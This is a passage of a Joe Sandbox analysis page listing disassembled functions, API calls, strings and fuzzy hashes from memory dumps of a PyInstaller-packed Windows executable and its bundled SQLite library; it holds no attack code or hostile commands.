Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: %!.15g$%02x$%lld$'%.*q'$-- $?$NULL$zeroblob(%d)
API String ID: 3510742995-875588658
Opcode ID: b6f613d7b6e0414598f0e2a4e4e230e5bdcb321446d8c93f17798dcb33a970b9
Instruction ID: 916dc8a57d15ad7e487d51979ae94b652ef22417dce7f0bf8bbeb6218df70a1f
Opcode Fuzzy Hash: b6f613d7b6e0414598f0e2a4e4e230e5bdcb321446d8c93f17798dcb33a970b9
Instruction Fuzzy Hash: 34E17072F0865689FB29CF64E470BBC27A0AB04748F844176DE3E5AADDDE7CA845C740

Function 00007FFDFABC7830 Relevance: 15.3, APIs: 1, Strings: 9, Instructions: 327COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFABC7BA2

Strings

Cannot add a UNIQUE column, xrefs: 00007FFDFABC796C
SELECT raise(ABORT,%Q) FROM "%w"."%w", xrefs: 00007FFDFABC79C7, 00007FFDFABC7A43, 00007FFDFABC7B51
Cannot add a column with non-constant default, xrefs: 00007FFDFABC7A39
Cannot add a NOT NULL column with default value NULL, xrefs: 00007FFDFABC79DF
SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE, xrefs: 00007FFDFABC7D2C
cannot add a STORED column, xrefs: 00007FFDFABC7B42
Cannot add a PRIMARY KEY column, xrefs: 00007FFDFABC7951
Cannot add a REFERENCES column with non-NULL default value, xrefs: 00007FFDFABC79BD
UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q, xrefs: 00007FFDFABC7BE4

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: Cannot add a NOT NULL column with default value NULL$Cannot add a PRIMARY KEY column$Cannot add a REFERENCES column with non-NULL default value$Cannot add a UNIQUE column$Cannot add a column with non-constant default$SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE$SELECT raise(ABORT,%Q) FROM "%w"."%w"$UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q$cannot add a STORED column
API String ID: 3510742995-200680935
Opcode ID: 5c3ea07040aaf60c9262134e35194fbb7867a04b5ab88e8aea81ba58f857b353
Instruction ID: f0add7beba5dc5f06fa46e3f2480251ba1910e557a99c5b400a92cb6fc1cb3f0
Opcode Fuzzy Hash: 5c3ea07040aaf60c9262134e35194fbb7867a04b5ab88e8aea81ba58f857b353
Instruction Fuzzy Hash: 26E18B65B08A8285EB688B16A564FB967B1FB40BC4F8501B1DEAD07BDDDF3DE491C300

Function 00007FFDFAA52720 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFDFAA52748
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFDFAA5279A
_RTC_Initialize.LIBCMT ref: 00007FFDFAA527C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFDFAA527EE
__scrt_release_startup_lock.LIBCMT ref: 00007FFDFAA52819

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: bc53fe8a0eda1481b36a314380ac74b5aff62c5ee69524d86cd6bd6c99e3d1c0
Instruction ID: ec2b8e359a38391f51e1e6cee61cea25bc9dbfaa70dcd20db93100e4be687e84
Opcode Fuzzy Hash: bc53fe8a0eda1481b36a314380ac74b5aff62c5ee69524d86cd6bd6c99e3d1c0
Instruction Fuzzy Hash: 8B819D21F086438EFB6D9B659870A793690AF95780F5440B5EA2C437DEDE3CE84F8708

Function 00007FF62C106290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1062D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1066C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10695C

Strings

:, xrefs: 00007FF62C10648C
p, xrefs: 00007FF62C1063FD
-, xrefs: 00007FF62C106369
p, xrefs: 00007FF62C106385
f, xrefs: 00007FF62C1063F5

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: a59d2eb9e0c1bfefa1bdff49e8a6065b577ecdf93e17dd52da3a8f57425589c3
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: BE129471E0C26386FF205B14D95E67976A2FB50770F844136EE8987AC4DF3CE9A08B16

Function 00007FF62C100FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C101008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1013D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10166F

Strings

f, xrefs: 00007FF62C101255
f, xrefs: 00007FF62C1010A0
f, xrefs: 00007FF62C10110A
p, xrefs: 00007FF62C1010AD
p, xrefs: 00007FF62C101112

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: e8a643046ec8364d39d7899dceab3667915c4dda962fd032ec5b0fb8bd0b14bc
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 94128462E0C14386FF245E14EC5A77976A1FB41774FE48135EA9A879C4DF7CE4A08B02

Function 00007FFDFAB809E0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 135COMMON

Download Yara Rule

APIs

new[].MSPDB140-MSVCRT ref: 00007FFDFAB80AF7

Strings

%s%c%s, xrefs: 00007FFDFAB80A56
?, xrefs: 00007FFDFAB80A21
winFullPathname1, xrefs: 00007FFDFAB80ADC
\, xrefs: 00007FFDFAB80A68
:, xrefs: 00007FFDFAB80A11
:, xrefs: 00007FFDFAB80A4C
winFullPathname2, xrefs: 00007FFDFAB80B65

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: new[]
String ID: %s%c%s$:$:$?$\$winFullPathname1$winFullPathname2
API String ID: 4059295235-3840279414
Opcode ID: 6620010e7044335df54d957efec44e4603a8576bb54a78712787ebc1850900a5
Instruction ID: 4ce3cb9919391c8ee8e9ee149e6401366382f7c6f953e83a54c58df1d7070f24
Opcode Fuzzy Hash: 6620010e7044335df54d957efec44e4603a8576bb54a78712787ebc1850900a5
Instruction Fuzzy Hash: 36519411F0C6C745FB5D9B65A431EBA6791AF44BC8F8880B5D96D0B6CECE7CE4468300

Function 00007FF62C0F1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

fseek, xrefs: 00007FF62C0F10D3
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF62C0F1108
fread, xrefs: 00007FF62C0F11FD
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF62C0F10CC
malloc, xrefs: 00007FF62C0F110F
Failed to extract %s: failed to open archive file!, xrefs: 00007FF62C0F1098
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF62C0F11F6

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 7353426b42f42a82694b3592670e666301d967352ad9965b6266ed7fbff1557c
Instruction ID: cfa4bf5834d1cb3063852b2fe82e2636f6180bf66d6db2846a27d932344d0acc
Opcode Fuzzy Hash: 7353426b42f42a82694b3592670e666301d967352ad9965b6266ed7fbff1557c
Instruction Fuzzy Hash: 7141C161B086528AFE00EB1AAC466B96390FF44FE0F444432ED0CC7796DF3DE9818346

Function 00007FF62C0F8660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF62C0F3CBB), ref: 00007FF62C0F8704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF62C0F3CBB), ref: 00007FF62C0F870A
CreateDirectoryW.KERNEL32(?,00000000,00007FF62C0F3CBB), ref: 00007FF62C0F874C

Part of subcall function 00007FF62C0F8830: GetEnvironmentVariableW.KERNEL32(00007FF62C0F388E), ref: 00007FF62C0F8867
Part of subcall function 00007FF62C0F8830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF62C0F8889

Part of subcall function 00007FF62C108238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C108251

Part of subcall function 00007FF62C0F2810: MessageBoxW.USER32 ref: 00007FF62C0F28EA

Strings

LOADER: failed to set the TMP environment variable., xrefs: 00007FF62C0F86DC
_MEI%d, xrefs: 00007FF62C0F8712
TMP, xrefs: 00007FF62C0F869C, 00007FF62C0F87A3
TMP, xrefs: 00007FF62C0F86C2
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF62C0F877E

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction ID: 127c8c644071327446e162895d4b684c9f51dfee4e1841e75d0c787e07839a10
Opcode Fuzzy Hash: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction Fuzzy Hash: FB41D111A1D64248FE11E729AC5A2F91390AF897E0F944131ED0DC77DADF3DE546C30A

Function 00007FFDFABB2BB0 Relevance: 14.0, APIs: 1, Strings: 8, Instructions: 489COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFABB2C7C

Strings

indexed, xrefs: 00007FFDFABB2EA0
cannot open %s column for writing, xrefs: 00007FFDFABB31B4
foreign key, xrefs: 00007FFDFABB2E53
cannot open virtual table: %s, xrefs: 00007FFDFABB3201
cannot open table without rowid: %s, xrefs: 00007FFDFABB31F8
out of memory, xrefs: 00007FFDFABB2CE8
no such column: "%s", xrefs: 00007FFDFABB31E6
cannot open view: %s, xrefs: 00007FFDFABB31EF

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset
String ID: cannot open %s column for writing$cannot open table without rowid: %s$cannot open view: %s$cannot open virtual table: %s$foreign key$indexed$no such column: "%s"$out of memory
API String ID: 2221118986-554953066
Opcode ID: fc66748217be836b8a2eda49d8ea759b9e0924403c810d45a22a7306ee77088b
Instruction ID: 46b530eb1dd3c9ecad501be9c26da6057cca180367ec2d24e7939da91af5c2fc
Opcode Fuzzy Hash: fc66748217be836b8a2eda49d8ea759b9e0924403c810d45a22a7306ee77088b
Instruction Fuzzy Hash: 41327C72B08B818AEB68CF25D460BAE77A4FB45B88F804176DE6D47799DF38E451C700

Function 00007FF62C0FEA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF62C0FEA65

Part of subcall function 00007FF62C0FF9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF62C0FF9FF
Part of subcall function 00007FF62C0FF9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF62C0FFA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF62C0FEB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF62C0FED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF62C0FEE98

Strings

csm, xrefs: 00007FF62C0FEA7F
csm, xrefs: 00007FF62C0FEAE6
csm, xrefs: 00007FF62C0FEB60

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: 722620e8f7bca7ae4c62cb52f5d97fcb6d4cfd0f9f36ee603dd409f7f3c6af98
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: 8ED17032A087818AEF20DF2598413AD77A0FB457A8F140135EE9D97B9ACF39E0D1C746

Function 00007FFDFAB77621 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 429COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFAB77B28

Strings

NaN, xrefs: 00007FFDFAB77708
VUUU, xrefs: 00007FFDFAB778BA
0123456789ABCDEF0123456789abcdef, xrefs: 00007FFDFAB77A2C
-Inf, xrefs: 00007FFDFAB777F4
gfff, xrefs: 00007FFDFAB77A7D
-, xrefs: 00007FFDFAB77833
null, xrefs: 00007FFDFAB7770F

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset
String ID: -$-Inf$0123456789ABCDEF0123456789abcdef$NaN$VUUU$gfff$null
API String ID: 2221118986-3207396689
Opcode ID: 25e24649bc2dc04d7cc02a2155f76509de9b1b464349d30fb1a6db6ce22d829b
Instruction ID: 88ee5c4ad397bd59046c08977323d00841cdf38add732166a8c7d58314244cff
Opcode Fuzzy Hash: 25e24649bc2dc04d7cc02a2155f76509de9b1b464349d30fb1a6db6ce22d829b
Instruction Fuzzy Hash: 05024962F1D2C24AE7298A29A060F7D7FF1EB45344F8541B5DEAD476CACEADE481C700

Function 00007FFDFABD2140 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 414COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFABD21DA

Strings

sqlite_temp_master, xrefs: 00007FFDFABD2199, 00007FFDFABD229D
table, xrefs: 00007FFDFABD2275
there is already an index named %s, xrefs: 00007FFDFABD23EE
view, xrefs: 00007FFDFABD226E, 00007FFDFABD2384
sqlite_master, xrefs: 00007FFDFABD215F, 00007FFDFABD22C2, 00007FFDFABD2614
temporary table name must be unqualified, xrefs: 00007FFDFABD220E
%s %T already exists, xrefs: 00007FFDFABD237D

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: %s %T already exists$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3510742995-2846519077
Opcode ID: 349c116bc76760f8f34a0ecd5c4fb5f668b809d4acdf9a5c8cd5a762cc9d7692
Instruction ID: 742658f3d4dcf168faa6b0cf330d26e20e22147c52754771243799cebb1b1003
Opcode Fuzzy Hash: 349c116bc76760f8f34a0ecd5c4fb5f668b809d4acdf9a5c8cd5a762cc9d7692
Instruction Fuzzy Hash: 12029F76B0878286EB28DF219420BA937A1FB85B84F804275DE6D47BDADF3DE551C700

Function 00007FF62C10ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF62C10F0AA,?,?,-00000018,00007FF62C10AD53,?,?,?,00007FF62C10AC4A,?,?,?,00007FF62C105F3E), ref: 00007FF62C10EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF62C10F0AA,?,?,-00000018,00007FF62C10AD53,?,?,?,00007FF62C10AC4A,?,?,?,00007FF62C105F3E), ref: 00007FF62C10EE98

Strings

api-ms-, xrefs: 00007FF62C10EDD6
ext-ms-, xrefs: 00007FF62C10EDE9

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: e29bd8be6c23f54e85a35f3a29795efa04a20659b168910b71ed527fba9d14ce
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: 6C412222B29A5682EF15CB17AC096752391BF09BF0F884139DD5DC7794EF3CE4558306

Function 00007FF62C0F2C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF62C0F3706,?,00007FF62C0F3804), ref: 00007FF62C0F2C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF62C0F3706,?,00007FF62C0F3804), ref: 00007FF62C0F2D63
MessageBoxW.USER32 ref: 00007FF62C0F2D99

Strings

Error, xrefs: 00007FF62C0F2D8C
[PYI-%d:ERROR] , xrefs: 00007FF62C0F2CA6
<FormatMessageW failed.>, xrefs: 00007FF62C0F2D70
%ls: , xrefs: 00007FF62C0F2D22

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: 86ae82494796241eec8c030b2adb68636609e58a481904699e42cec4fd752ebc
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: FE312672B08B4046EF20AB29BC152AA6695BF88BE8F400136EF4DD3759EF3DD546C345

Function 00007FFDFABC8CE0 Relevance: 12.3, APIs: 6, Strings: 2, Instructions: 298COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFABC8E0F
memset.VCRUNTIME140 ref: 00007FFDFABC8EC9
memcpy.VCRUNTIME140 ref: 00007FFDFABC8EED
memcpy.VCRUNTIME140 ref: 00007FFDFABC8FC9
memmove.VCRUNTIME140 ref: 00007FFDFABC90AA
memcpy.VCRUNTIME140 ref: 00007FFDFABC90CB

Strings

%Q%s, xrefs: 00007FFDFABC9034
"%w" , xrefs: 00007FFDFABC8D8B

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
